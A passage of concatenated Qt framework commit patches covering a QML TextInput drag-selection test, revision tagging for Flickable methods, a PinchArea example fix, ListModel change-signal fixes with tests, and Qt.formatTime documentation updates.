/dev/null +++ b/tests/auto/declarative/qdeclarativetextinput/data/mouseselection_true.qml @@ -0,0 +1,7 @@ +import QtQuick 1.0 + +TextInput { + focus: true + text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" + selectByMouse: true +} diff --git a/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp b/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp index 1de695e..964125f 100644 --- a/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp +++ b/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp @@ -91,6 +91,7 @@ private slots: void selection(); void moveCursorSelection_data(); void moveCursorSelection(); + void dragMouseSelection(); void horizontalAlignment_data(); void horizontalAlignment(); @@ -576,6 +577,50 @@ void tst_qdeclarativetextinput::moveCursorSelection() } } +void tst_qdeclarativetextinput::dragMouseSelection() +{ + QString qmlfile = SRCDIR "/data/mouseselection_true.qml"; + + QDeclarativeView *canvas = createView(qmlfile); + + canvas->show(); + QApplication::setActiveWindow(canvas); + QTest::qWaitForWindowShown(canvas); + QTRY_COMPARE(QApplication::activeWindow(), static_cast(canvas)); + + QVERIFY(canvas->rootObject() != 0); + QDeclarativeTextInput *textInputObject = qobject_cast(canvas->rootObject()); + QVERIFY(textInputObject != 0); + + // press-and-drag-and-release from x1 to x2 + int x1 = 10; + int x2 = 70; + int y = textInputObject->height()/2; + QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x1,y))); + { + QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(QPoint(x2,y)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier); + QApplication::sendEvent(canvas->viewport(), &mv); + } + QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x2,y))); + + QString str1 = textInputObject->selectedText(); + QVERIFY(str1.length() > 3); + + // press and drag the current selection. + x1 = 40; + x2 = 100; + QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x1,y))); + { + QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(QPoint(x2,y)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier); + QApplication::sendEvent(canvas->viewport(), &mv); + } + QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x2,y))); + QString str2 = textInputObject->selectedText(); + QVERIFY(str2.length() > 3); + + QVERIFY(str1 != str2); // Verify the second press and drag is a new selection and doesn't not the first moved. +} + void tst_qdeclarativetextinput::horizontalAlignment_data() { QTest::addColumn("hAlign"); -- cgit v0.12 From 7ca750fad4e74929c9c34a98c19bde37747a9dc5 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Tue, 11 Jan 2011 10:55:14 +1000 Subject: Add versioning for new Flickable methods. Task-number: QTBUG-15148 --- .../graphicsitems/qdeclarativeflickable_p.h | 5 +-- .../graphicsitems/qdeclarativeitemsmodule.cpp | 1 + .../tst_qdeclarativeflickable.cpp | 43 ++++++++++++++++++++++ 3 files changed, 46 insertions(+), 3 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativeflickable_p.h b/src/declarative/graphicsitems/qdeclarativeflickable_p.h index ece2db7..4d3da92 100644 --- a/src/declarative/graphicsitems/qdeclarativeflickable_p.h +++ b/src/declarative/graphicsitems/qdeclarativeflickable_p.h @@ -149,9 +149,8 @@ public: FlickableDirection flickableDirection() const; void setFlickableDirection(FlickableDirection); - //XXX Added in QtQuick 1.1 - Q_INVOKABLE void resizeContent(qreal w, qreal h, QPointF center); - Q_INVOKABLE void returnToBounds(); + Q_INVOKABLE Q_REVISION(1) void resizeContent(qreal w, qreal h, QPointF center); + Q_INVOKABLE Q_REVISION(1) void returnToBounds(); Q_SIGNALS: void contentWidthChanged(); diff --git a/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp b/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp index 0d386c6..ddbde0b 100644 --- a/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp +++ b/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp @@ -179,6 +179,7 @@ void QDeclarativeItemModule::defineModule() qmlRegisterType("QtQuick",1,1,"PinchArea"); qmlRegisterType("QtQuick",1,1,"Pinch"); qmlRegisterType(); + qmlRegisterType("QtQuick",1,1,"Flickable"); qmlRegisterType("QtQuick",1,1,"Repeater"); qmlRegisterType("QtQuick",1,1,"TextEdit"); #ifndef QT_NO_LINEEDIT diff --git a/tests/auto/declarative/qdeclarativeflickable/tst_qdeclarativeflickable.cpp b/tests/auto/declarative/qdeclarativeflickable/tst_qdeclarativeflickable.cpp index c1564bc..10ab467 100644 --- a/tests/auto/declarative/qdeclarativeflickable/tst_qdeclarativeflickable.cpp +++ b/tests/auto/declarative/qdeclarativeflickable/tst_qdeclarativeflickable.cpp @@ -72,6 +72,8 @@ private slots: void qgraphicswidget(); void resizeContent(); void returnToBounds(); + void testQtQuick11Attributes(); + void testQtQuick11Attributes_data(); private: QDeclarativeEngine engine; @@ -331,6 +333,47 @@ void tst_qdeclarativeflickable::returnToBounds() delete root; } +void tst_qdeclarativeflickable::testQtQuick11Attributes() +{ + QFETCH(QString, code); + QFETCH(QString, warning); + QFETCH(QString, error); + + QDeclarativeEngine engine; + QObject *obj; + + QDeclarativeComponent invalid(&engine); + invalid.setData("import QtQuick 1.0; Flickable { " + code.toUtf8() + " }", QUrl("")); + QTest::ignoreMessage(QtWarningMsg, warning.toUtf8()); + obj = invalid.create(); + QCOMPARE(invalid.errorString(), error); + delete obj; + + QDeclarativeComponent valid(&engine); + valid.setData("import QtQuick 1.1; Flickable { " + code.toUtf8() + " }", QUrl("")); + obj = valid.create(); + QVERIFY(obj); + QVERIFY(valid.errorString().isEmpty()); + delete obj; +} + +void tst_qdeclarativeflickable::testQtQuick11Attributes_data() +{ + QTest::addColumn("code"); + QTest::addColumn("warning"); + QTest::addColumn("error"); + + QTest::newRow("resizeContent") << "Component.onCompleted: resizeContent(100,100,Qt.point(50,50))" + << ":1: ReferenceError: Can't find variable: resizeContent" + << ""; + + QTest::newRow("returnToBounds") << "Component.onCompleted: returnToBounds()" + << ":1: ReferenceError: Can't find variable: returnToBounds" + << ""; + +} + + template T *tst_qdeclarativeflickable::findItem(QGraphicsObject *parent, const QString &objectName) { -- cgit v0.12 From 9fbe02cf8a76d4cca0a28d9fb92a2b181494c82d Mon Sep 17 00:00:00 2001 From: Joona Petrell Date: Mon, 10 Jan 2011 15:54:54 +1000 Subject: Fix examples autotest failure Task-number: Reviewed-by: Martin Jones --- examples/declarative/touchinteraction/pincharea/flickresize.qml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/examples/declarative/touchinteraction/pincharea/flickresize.qml b/examples/declarative/touchinteraction/pincharea/flickresize.qml index aa426e7..a2f81ff 100644 --- a/examples/declarative/touchinteraction/pincharea/flickresize.qml +++ b/examples/declarative/touchinteraction/pincharea/flickresize.qml @@ -54,7 +54,7 @@ Rectangle { PinchArea { width: Math.max(flick.contentWidth, flick.width) height: Math.max(flick.contentHeight, flick.height) - onPinchChanged: { + onPinchUpdated: { // adjust content pos due to drag flick.contentX += pinch.previousCenter.x - pinch.center.x flick.contentY += pinch.previousCenter.y - pinch.center.y -- cgit v0.12 From aca9a8d95f1fa9c29a7650d528616a0962732db3 Mon Sep 17 00:00:00 2001 From: Bea Lam Date: Mon, 10 Jan 2011 14:08:44 +1000 Subject: set() and setProperty() should not always trigger change signals Fix set() and setProperty() to only trigger itemsChanged(), and the the Changed signals for items returned by get(), if the new value is different from the old one. The exception to this are list values, as it is inefficient to check the sublists and also the model classes are due to be revised. This also fixes models used with a WorkerScript to emit itemsChanged() with the correct roles. Task-number: QTBUG-14620 Reviewed-by: Michael Brasser --- src/declarative/util/qdeclarativelistmodel.cpp | 83 +++++++---- src/declarative/util/qdeclarativelistmodel_p.h | 3 + src/declarative/util/qdeclarativelistmodel_p_p.h | 6 +- .../util/qdeclarativelistmodelworkeragent.cpp | 28 ++-- .../util/qdeclarativelistmodelworkeragent_p.h | 5 +- .../tst_qdeclarativelistmodel.cpp | 159 ++++++++++++++++++++- 6 files changed, 238 insertions(+), 46 deletions(-) diff --git a/src/declarative/util/qdeclarativelistmodel.cpp b/src/declarative/util/qdeclarativelistmodel.cpp index 538e8af..8290665 100644 --- a/src/declarative/util/qdeclarativelistmodel.cpp +++ b/src/declarative/util/qdeclarativelistmodel.cpp @@ -559,6 +559,14 @@ QScriptValue QDeclarativeListModel::get(int index) const */ void QDeclarativeListModel::set(int index, const QScriptValue& valuemap) { + QList roles; + set(index, valuemap, &roles); + if (!roles.isEmpty() && !inWorkerThread()) + emit itemsChanged(index, 1, roles); +} + +void QDeclarativeListModel::set(int index, const QScriptValue& valuemap, QList *roles) +{ if (!valuemap.isObject() || valuemap.isArray()) { qmlInfo(this) << tr("set: value is not an object"); return; @@ -571,14 +579,10 @@ void QDeclarativeListModel::set(int index, const QScriptValue& valuemap) if (index == count()) { append(valuemap); } else { - QList roles; if (m_flat) - m_flat->set(index, valuemap, &roles); + m_flat->set(index, valuemap, roles); else - m_nested->set(index, valuemap, &roles); - - if (!inWorkerThread()) - emit itemsChanged(index, 1, roles); + m_nested->set(index, valuemap, roles); } } @@ -597,19 +601,23 @@ void QDeclarativeListModel::set(int index, const QScriptValue& valuemap) */ void QDeclarativeListModel::setProperty(int index, const QString& property, const QVariant& value) { + QList roles; + setProperty(index, property, value, &roles); + if (!roles.isEmpty() && !inWorkerThread()) + emit itemsChanged(index, 1, roles); +} + +void QDeclarativeListModel::setProperty(int index, const QString& property, const QVariant& value, QList *roles) +{ if (count() == 0 || index >= count() || index < 0) { qmlInfo(this) << tr("set: index %1 out of range").arg(index); return; } - QList roles; if (m_flat) - m_flat->setProperty(index, property, value, &roles); + m_flat->setProperty(index, property, value, roles); else - m_nested->setProperty(index, property, value, &roles); - - if (!inWorkerThread()) - emit itemsChanged(index, 1, roles); + m_nested->setProperty(index, property, value, roles); } /*! @@ -1011,9 +1019,11 @@ void FlatListModel::setProperty(int index, const QString& property, const QVaria } else { role = iter.value(); } - roles->append(role); - m_values[index][role] = value; + if (m_values[index][role] != value) { + roles->append(role); + m_values[index][role] = value; + } } void FlatListModel::move(int from, int to, int n) @@ -1043,6 +1053,10 @@ bool FlatListModel::addValue(const QScriptValue &value, QHash *ro iter = m_strings.insert(name, role); if (roles) roles->append(role); + } else { + int role = iter.value(); + if (roles && row->contains(role) && row->value(role) != v) + roles->append(role); } row->insert(*iter, v); } @@ -1151,14 +1165,14 @@ void FlatListScriptClass::setProperty(Object *obj, const Identifier &name, const QHash &row = m_model->m_values[index]; row[role] = value.toVariant(); + QList roles; + roles << role; if (m_model->m_parentAgent) { // This is the list in the worker thread, so tell the agent to // emit itemsChanged() later - m_model->m_parentAgent->changedData(index, 1); + m_model->m_parentAgent->changedData(index, 1, roles); } else { // This is the list in the main thread, so emit itemsChanged() - QList roles; - roles << role; emit m_model->m_listModel->itemsChanged(index, 1, roles); } } @@ -1350,7 +1364,9 @@ void NestedListModel::set(int index, const QScriptValue& valuemap, QList *r Q_ASSERT(index >=0 && index < count()); ModelNode *node = qvariant_cast(_root->values.at(index)); - node->setObjectValue(valuemap); + bool emitItemsChanged = node->setObjectValue(valuemap); + if (!emitItemsChanged) + return; QScriptValueIterator it(valuemap); while (it.hasNext()) { @@ -1369,7 +1385,9 @@ void NestedListModel::setProperty(int index, const QString& property, const QVar Q_ASSERT(index >=0 && index < count()); ModelNode *node = qvariant_cast(_root->values.at(index)); - node->setProperty(property, value); + bool emitItemsChanged = node->setProperty(property, value); + if (!emitItemsChanged) + return; int r = roleStrings.indexOf(property); if (r < 0) { @@ -1441,26 +1459,37 @@ void ModelNode::clear() properties.clear(); } -void ModelNode::setObjectValue(const QScriptValue& valuemap, bool writeToCache) { +bool ModelNode::setObjectValue(const QScriptValue& valuemap, bool writeToCache) +{ + bool emitItemsChanged = false; + QScriptValueIterator it(valuemap); while (it.hasNext()) { it.next(); + ModelNode *prev = properties.value(it.name()); ModelNode *value = new ModelNode(m_model); QScriptValue v = it.value(); + if (v.isArray()) { value->isArray = true; value->setListValue(v); if (writeToCache && objectCache) objectCache->setValue(it.name().toUtf8(), QVariant::fromValue(value->model(m_model))); + emitItemsChanged = true; // for now, too inefficient to check whether list and sublists have changed } else { value->values << v.toVariant(); if (writeToCache && objectCache) objectCache->setValue(it.name().toUtf8(), value->values.last()); + if (!emitItemsChanged && prev && prev->values.count() == 1 + && prev->values[0] != value->values.last()) { + emitItemsChanged = true; + } } if (properties.contains(it.name())) delete properties[it.name()]; properties.insert(it.name(), value); } + return emitItemsChanged; } void ModelNode::setListValue(const QScriptValue& valuelist) { @@ -1483,9 +1512,12 @@ void ModelNode::setListValue(const QScriptValue& valuelist) { } } -void ModelNode::setProperty(const QString& prop, const QVariant& val) { +bool ModelNode::setProperty(const QString& prop, const QVariant& val) { QHash::const_iterator it = properties.find(prop); + bool emitItemsChanged = false; if (it != properties.end()) { + if (val != (*it)->values[0]) + emitItemsChanged = true; (*it)->values[0] = val; } else { ModelNode *n = new ModelNode(m_model); @@ -1494,6 +1526,7 @@ void ModelNode::setProperty(const QString& prop, const QVariant& val) { } if (objectCache) objectCache->setValue(prop.toUtf8(), val); + return emitItemsChanged; } void ModelNode::updateListIndexes() @@ -1561,7 +1594,7 @@ ModelObject::ModelObject(ModelNode *node, NestedListModel *model, QScriptEngine void ModelObject::setValue(const QByteArray &name, const QVariant &val) { m_meta->setValue(name, val); - setProperty(name.constData(), val); + //setProperty(name.constData(), val); } void ModelObject::setNodeUpdatesEnabled(bool enable) @@ -1588,9 +1621,9 @@ void ModelNodeMetaObject::propertyWritten(int index) QScriptValue sv = m_seng->newObject(); sv.setProperty(propName, m_seng->newVariant(value)); - m_obj->m_node->setObjectValue(sv, false); - - m_obj->m_node->changedProperty(propName); + bool changed = m_obj->m_node->setObjectValue(sv, false); + if (changed) + m_obj->m_node->changedProperty(propName); } diff --git a/src/declarative/util/qdeclarativelistmodel_p.h b/src/declarative/util/qdeclarativelistmodel_p.h index 90036f9..0b4becd 100644 --- a/src/declarative/util/qdeclarativelistmodel_p.h +++ b/src/declarative/util/qdeclarativelistmodel_p.h @@ -103,6 +103,9 @@ private: // Constructs a flat list model for a worker agent QDeclarativeListModel(const QDeclarativeListModel *orig, QDeclarativeListModelWorkerAgent *parent); + void set(int index, const QScriptValue&, QList *roles); + void setProperty(int index, const QString& property, const QVariant& value, QList *roles); + bool flatten(); bool inWorkerThread() const; diff --git a/src/declarative/util/qdeclarativelistmodel_p_p.h b/src/declarative/util/qdeclarativelistmodel_p_p.h index 43a0a9b..ec1b538 100644 --- a/src/declarative/util/qdeclarativelistmodel_p_p.h +++ b/src/declarative/util/qdeclarativelistmodel_p_p.h @@ -190,7 +190,7 @@ public: bool insert(int index, const QScriptValue&); QScriptValue get(int index) const; void set(int index, const QScriptValue&, QList *roles); - void setProperty(int index, const QString& property, const QVariant& value, QList *role); + void setProperty(int index, const QString& property, const QVariant& value, QList *roles); void move(int from, int to, int count); QVariant valueForNode(ModelNode *, bool *hasNested = 0) const; @@ -255,9 +255,9 @@ struct ModelNode QDeclarativeListModel *model(const NestedListModel *model); ModelObject *object(const NestedListModel *model); - void setObjectValue(const QScriptValue& valuemap, bool writeToCache = true); + bool setObjectValue(const QScriptValue& valuemap, bool writeToCache = true); void setListValue(const QScriptValue& valuelist); - void setProperty(const QString& prop, const QVariant& val); + bool setProperty(const QString& prop, const QVariant& val); void changedProperty(const QString &name) const; void updateListIndexes(); static void dump(ModelNode *node, int ind); diff --git a/src/declarative/util/qdeclarativelistmodelworkeragent.cpp b/src/declarative/util/qdeclarativelistmodelworkeragent.cpp index 852b055..76d3048 100644 --- a/src/declarative/util/qdeclarativelistmodelworkeragent.cpp +++ b/src/declarative/util/qdeclarativelistmodelworkeragent.cpp @@ -60,25 +60,25 @@ void QDeclarativeListModelWorkerAgent::Data::clearChange() void QDeclarativeListModelWorkerAgent::Data::insertChange(int index, int count) { - Change c = { Change::Inserted, index, count, 0 }; + Change c = { Change::Inserted, index, count, 0, QList() }; changes << c; } void QDeclarativeListModelWorkerAgent::Data::removeChange(int index, int count) { - Change c = { Change::Removed, index, count, 0 }; + Change c = { Change::Removed, index, count, 0, QList() }; changes << c; } void QDeclarativeListModelWorkerAgent::Data::moveChange(int index, int count, int to) { - Change c = { Change::Moved, index, count, to }; + Change c = { Change::Moved, index, count, to, QList() }; changes << c; } -void QDeclarativeListModelWorkerAgent::Data::changedChange(int index, int count) +void QDeclarativeListModelWorkerAgent::Data::changedChange(int index, int count, const QList &roles) { - Change c = { Change::Changed, index, count, 0 }; + Change c = { Change::Changed, index, count, 0, roles }; changes << c; } @@ -165,14 +165,18 @@ QScriptValue QDeclarativeListModelWorkerAgent::get(int index) const void QDeclarativeListModelWorkerAgent::set(int index, const QScriptValue &value) { - m_copy->set(index, value); - data.changedChange(index, 1); + QList roles; + m_copy->set(index, value, &roles); + if (!roles.isEmpty()) + data.changedChange(index, 1, roles); } void QDeclarativeListModelWorkerAgent::setProperty(int index, const QString& property, const QVariant& value) { - m_copy->setProperty(index, property, value); - data.changedChange(index, 1); + QList roles; + m_copy->setProperty(index, property, value, &roles); + if (!roles.isEmpty()) + data.changedChange(index, 1, roles); } void QDeclarativeListModelWorkerAgent::move(int from, int to, int count) @@ -194,9 +198,9 @@ void QDeclarativeListModelWorkerAgent::sync() mutex.unlock(); } -void QDeclarativeListModelWorkerAgent::changedData(int index, int count) +void QDeclarativeListModelWorkerAgent::changedData(int index, int count, const QList &roles) { - data.changedChange(index, count); + data.changedChange(index, count, roles); } bool QDeclarativeListModelWorkerAgent::event(QEvent *e) @@ -255,7 +259,7 @@ bool QDeclarativeListModelWorkerAgent::event(QEvent *e) emit m_orig->itemsMoved(change.index, change.to, change.count); break; case Change::Changed: - emit m_orig->itemsChanged(change.index, change.count, orig->m_roles.keys()); + emit m_orig->itemsChanged(change.index, change.count, change.roles); break; } } diff --git a/src/declarative/util/qdeclarativelistmodelworkeragent_p.h b/src/declarative/util/qdeclarativelistmodelworkeragent_p.h index 10c3bca..0823b7e 100644 --- a/src/declarative/util/qdeclarativelistmodelworkeragent_p.h +++ b/src/declarative/util/qdeclarativelistmodelworkeragent_p.h @@ -124,6 +124,7 @@ private: int index; // Inserted/Removed/Moved/Changed int count; // Inserted/Removed/Moved/Changed int to; // Moved + QList roles; }; struct Data { @@ -133,7 +134,7 @@ private: void insertChange(int index, int count); void removeChange(int index, int count); void moveChange(int index, int count, int to); - void changedChange(int index, int count); + void changedChange(int index, int count, const QList &roles); }; Data data; @@ -143,7 +144,7 @@ private: QDeclarativeListModel *list; }; - void changedData(int index, int count); + void changedData(int index, int count, const QList &roles); QAtomicInt m_ref; QDeclarativeListModel *m_orig; diff --git a/tests/auto/declarative/qdeclarativelistmodel/tst_qdeclarativelistmodel.cpp b/tests/auto/declarative/qdeclarativelistmodel/tst_qdeclarativelistmodel.cpp index 55f7421..bdc5988 100644 --- a/tests/auto/declarative/qdeclarativelistmodel/tst_qdeclarativelistmodel.cpp +++ b/tests/auto/declarative/qdeclarativelistmodel/tst_qdeclarativelistmodel.cpp @@ -59,6 +59,7 @@ #endif Q_DECLARE_METATYPE(QList) +Q_DECLARE_METATYPE(QList) class tst_qdeclarativelistmodel : public QObject { @@ -101,6 +102,10 @@ private slots: void get_nested_data(); void crash_model_with_multiple_roles(); void set_model_cache(); + void property_changes(); + void property_changes_data(); + void property_changes_worker(); + void property_changes_worker_data(); }; int tst_qdeclarativelistmodel::roleFromName(const QDeclarativeListModel *model, const QString &roleName) { @@ -298,13 +303,10 @@ void tst_qdeclarativelistmodel::dynamic_data() QTest::newRow("nested-append3") << "{append({'foo':123,'bars':[{'a':1},{'a':2},{'a':3}]});get(0).bars.append({'a':4});get(0).bars.get(3).a}" << 4 << ""; QTest::newRow("nested-insert") << "{append({'foo':123});insert(0,{'bars':[{'a':1},{'b':2},{'c':3}]});get(0).bars.get(0).a}" << 1 << ""; - QTest::newRow("nested-set") << "{append({'foo':123});set(0,{'foo':[{'x':123}]});get(0).foo.get(0).x}" << 123 << ""; + QTest::newRow("nested-set") << "{append({'foo':[{'x':1}]});set(0,{'foo':[{'x':123}]});get(0).foo.get(0).x}" << 123 << ""; QTest::newRow("nested-count") << "{append({'foo':123,'bars':[{'a':1},{'a':2},{'a':3}]}); get(0).bars.count}" << 3 << ""; QTest::newRow("nested-clear") << "{append({'foo':123,'bars':[{'a':1},{'a':2},{'a':3}]}); get(0).bars.clear(); get(0).bars.count}" << 0 << ""; - - // XXX - //QTest::newRow("nested-setprop") << "{append({'foo':123});setProperty(0,'foo',[{'x':123}]);get(0).foo.get(0).x}" << 123 << ""; } void tst_qdeclarativelistmodel::dynamic() @@ -421,6 +423,9 @@ void tst_qdeclarativelistmodel::dynamic_worker_sync() if (QByteArray(QTest::currentDataTag()).startsWith("nested")) QTest::ignoreMessage(QtWarningMsg, ": QML ListModel: Cannot add list-type data when modifying or after modification from a worker script"); + if (QByteArray(QTest::currentDataTag()).startsWith("nested-set")) + QTest::ignoreMessage(QtWarningMsg, ": QML ListModel: Cannot add list-type data when modifying or after modification from a worker script"); + QVERIFY(QMetaObject::invokeMethod(item, "evalExpressionViaWorker", Q_ARG(QVariant, operations.mid(0, operations.length()-1)))); waitForWorker(item); @@ -940,6 +945,152 @@ void tst_qdeclarativelistmodel::set_model_cache() QVERIFY(model->property("ok").toBool()); } +void tst_qdeclarativelistmodel::property_changes() +{ + QFETCH(QString, script_setup); + QFETCH(QString, script_change); + QFETCH(QString, roleName); + QFETCH(int, listIndex); + QFETCH(bool, itemsChanged); + QFETCH(QString, testExpression); + + QDeclarativeEngine engine; + QDeclarativeListModel model; + QDeclarativeEngine::setContextForObject(&model, engine.rootContext()); + engine.rootContext()->setContextObject(&model); + + QDeclarativeExpression expr(engine.rootContext(), &model, script_setup); + expr.evaluate(); + QVERIFY2(!expr.hasError(), QTest::toString(expr.error().toString())); + + QString signalHandler = "on" + QString(roleName[0].toUpper()) + roleName.mid(1, roleName.length()) + "Changed:"; + QString qml = "import QtQuick 1.0\n" + "Connections {\n" + "property bool gotSignal: false\n" + "target: model.get(0)\n" + + signalHandler + " gotSignal = true\n" + "}\n"; + QDeclarativeComponent component(&engine); + component.setData(qml.toUtf8(), QUrl::fromLocalFile("")); + engine.rootContext()->setContextProperty("model", &model); + QObject *connectionsObject = component.create(); + QVERIFY2(component.errorString().isEmpty(), QTest::toString(component.errorString())); + + QSignalSpy spyItemsChanged(&model, SIGNAL(itemsChanged(int, int, QList))); + + expr.setExpression(script_change); + expr.evaluate(); + QVERIFY2(!expr.hasError(), QTest::toString(expr.error())); + + // test the object returned by get() emits the correct signals + QCOMPARE(connectionsObject->property("gotSignal").toBool(), itemsChanged); + + // test itemsChanged() is emitted correctly + if (itemsChanged) { + QCOMPARE(spyItemsChanged.count(), 1); + QCOMPARE(spyItemsChanged.at(0).at(0).toInt(), listIndex); + QCOMPARE(spyItemsChanged.at(0).at(1).toInt(), 1); + } else { + QCOMPARE(spyItemsChanged.count(), 0); + } + + expr.setExpression(testExpression); + QCOMPARE(expr.evaluate().toBool(), true); + + delete connectionsObject; +} + +void tst_qdeclarativelistmodel::property_changes_data() +{ + QTest::addColumn("script_setup"); + QTest::addColumn("script_change"); + QTest::addColumn("roleName"); + QTest::addColumn("listIndex"); + QTest::addColumn("itemsChanged"); + QTest::addColumn("testExpression"); + + QTest::newRow("set: plain") << "append({'a':123, 'b':456, 'c':789});" << "set(0,{'b':123});" + << "b" << 0 << true << "get(0).b == 123"; + QTest::newRow("setProperty: plain") << "append({'a':123, 'b':456, 'c':789});" << "setProperty(0, 'b', 123);" + << "b" << 0 << true << "get(0).b == 123"; + + QTest::newRow("set: plain, no changes") << "append({'a':123, 'b':456, 'c':789});" << "set(0,{'b':456});" + << "b" << 0 << false << "get(0).b == 456"; + QTest::newRow("setProperty: plain, no changes") << "append({'a':123, 'b':456, 'c':789});" << "setProperty(0, 'b', 456);" + << "b" << 0 << false << "get(0).b == 456"; + + // Following tests only call set() since setProperty() only allows plain + // values, not lists, as the argument. + // Note that when a list is changed, itemsChanged() is currently always + // emitted regardless of whether it actually changed or not. + + QTest::newRow("nested-set: list, new size") << "append({'a':123, 'b':[{'a':1},{'a':2},{'a':3}], 'c':789});" << "set(0,{'b':[{'a':1},{'a':2}]});" + << "b" << 0 << true << "get(0).b.get(0).a == 1 && get(0).b.get(1).a == 2"; + + QTest::newRow("nested-set: list, empty -> non-empty") << "append({'a':123, 'b':[], 'c':789});" << "set(0,{'b':[{'a':1},{'a':2},{'a':3}]});" + << "b" << 0 << true << "get(0).b.get(0).a == 1 && get(0).b.get(1).a == 2 && get(0).b.get(2).a == 3"; + + QTest::newRow("nested-set: list, non-empty -> empty") << "append({'a':123, 'b':[{'a':1},{'a':2},{'a':3}], 'c':789});" << "set(0,{'b':[]});" + << "b" << 0 << true << "get(0).b.count == 0"; + + QTest::newRow("nested-set: list, same size, different values") << "append({'a':123, 'b':[{'a':1},{'a':2},{'a':3}], 'c':789});" << "set(0,{'b':[{'a':1},{'a':222},{'a':3}]});" + << "b" << 0 << true << "get(0).b.get(0).a == 1 && get(0).b.get(1).a == 222 && get(0).b.get(2).a == 3"; + + QTest::newRow("nested-set: list, no changes") << "append({'a':123, 'b':[{'a':1},{'a':2},{'a':3}], 'c':789});" << "set(0,{'b':[{'a':1},{'a':2},{'a':3}]});" + << "b" << 0 << true << "get(0).b.get(0).a == 1 && get(0).b.get(1).a == 2 && get(0).b.get(2).a == 3"; + + QTest::newRow("nested-set: list, no changes, empty") << "append({'a':123, 'b':[], 'c':789});" << "set(0,{'b':[]});" + << "b" << 0 << true << "get(0).b.count == 0"; +} + + +void tst_qdeclarativelistmodel::property_changes_worker() +{ + // nested models are not supported when WorkerScript is involved + if (QByteArray(QTest::currentDataTag()).startsWith("nested-")) + return; + + QFETCH(QString, script_setup); + QFETCH(QString, script_change); + QFETCH(QString, roleName); + QFETCH(int, listIndex); + QFETCH(bool, itemsChanged); + + QDeclarativeListModel model; + QDeclarativeEngine engine; + QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/model.qml")); + QVERIFY2(component.errorString().isEmpty(), component.errorString().toUtf8()); + QDeclarativeItem *item = createWorkerTest(&engine, &component, &model); + QVERIFY(item != 0); + + QDeclarativeExpression expr(engine.rootContext(), &model, script_setup); + expr.evaluate(); + QVERIFY2(!expr.hasError(), QTest::toString(expr.error().toString())); + + QSignalSpy spyItemsChanged(&model, SIGNAL(itemsChanged(int, int, QList))); + + QVERIFY(QMetaObject::invokeMethod(item, "evalExpressionViaWorker", + Q_ARG(QVariant, QStringList(script_change)))); + waitForWorker(item); + + // test itemsChanged() is emitted correctly + if (itemsChanged) { + QCOMPARE(spyItemsChanged.count(), 1); + QCOMPARE(spyItemsChanged.at(0).at(0).toInt(), listIndex); + QCOMPARE(spyItemsChanged.at(0).at(1).toInt(), 1); + } else { + QCOMPARE(spyItemsChanged.count(), 0); + } + + delete item; + qApp->processEvents(); +} + +void tst_qdeclarativelistmodel::property_changes_worker_data() +{ + property_changes_data(); +} + QTEST_MAIN(tst_qdeclarativelistmodel) #include "tst_qdeclarativelistmodel.moc" -- cgit v0.12 From 39d2f837f5d5ac67d0cfcc3710aa23d22a84d3c1 Mon Sep 17 00:00:00 2001 From: Bea Lam Date: Tue, 11 Jan 2011 11:42:37 +1000 Subject: Fix Qt.formatTime() to accept QTime values QScriptValue::toDateTime() does not work for QTime values. Task-number: QTBUG-16492 Reviewed-by: Michael Brasser --- src/declarative/qml/qdeclarativeengine.cpp | 86 ++++++++++++----- .../declarative/qdeclarativeqt/data/formatting.qml | 53 ++++++---- .../declarative/qdeclarativeqt/qdeclarativeqt.pro | 2 +- .../qdeclarativeqt/tst_qdeclarativeqt.cpp | 107 ++++++++++++++------- 4 files changed, 173 insertions(+), 75 deletions(-) diff --git a/src/declarative/qml/qdeclarativeengine.cpp b/src/declarative/qml/qdeclarativeengine.cpp index b940457..52df518 100644 --- a/src/declarative/qml/qdeclarativeengine.cpp +++ b/src/declarative/qml/qdeclarativeengine.cpp @@ -1379,7 +1379,17 @@ QScriptValue QDeclarativeEnginePrivate::vector3d(QScriptContext *ctxt, QScriptEn /*! \qmlmethod string Qt::formatDate(datetime date, variant format) -Returns the string representation of \c date, formatted according to \c format. + +Returns a string representation of \c date, optionally formatted according +to \c format. + +The \a date parameter may be a JavaScript \c Date object, a \l{date}{date} +property, a QDate, or QDateTime value. The \a format parameter may be any of +the possible format values as described for +\l{QML:Qt::formatDateTime()}{Qt.formatDateTime()}. + +If \a format is not specified, \a date is formatted using +\l {Qt::DefaultLocaleShortDate}{Qt.DefaultLocaleShortDate}. */ #ifndef QT_NO_DATESTRING QScriptValue QDeclarativeEnginePrivate::formatDate(QScriptContext*ctxt, QScriptEngine*engine) @@ -1406,9 +1416,16 @@ QScriptValue QDeclarativeEnginePrivate::formatDate(QScriptContext*ctxt, QScriptE /*! \qmlmethod string Qt::formatTime(datetime time, variant format) -Returns the string representation of \c time, formatted according to \c format. -See Qt::formatDateTime for how to define \c format. +Returns a string representation of \c time, optionally formatted according to +\c format. + +The \a time parameter may be a JavaScript \c Date object, a QTime, or QDateTime +value. The \a format parameter may be any of the possible format values as +described for \l{QML:Qt::formatDateTime()}{Qt.formatDateTime()}. + +If \a format is not specified, \a time is formatted using +\l {Qt::DefaultLocaleShortDate}{Qt.DefaultLocaleShortDate}. */ QScriptValue 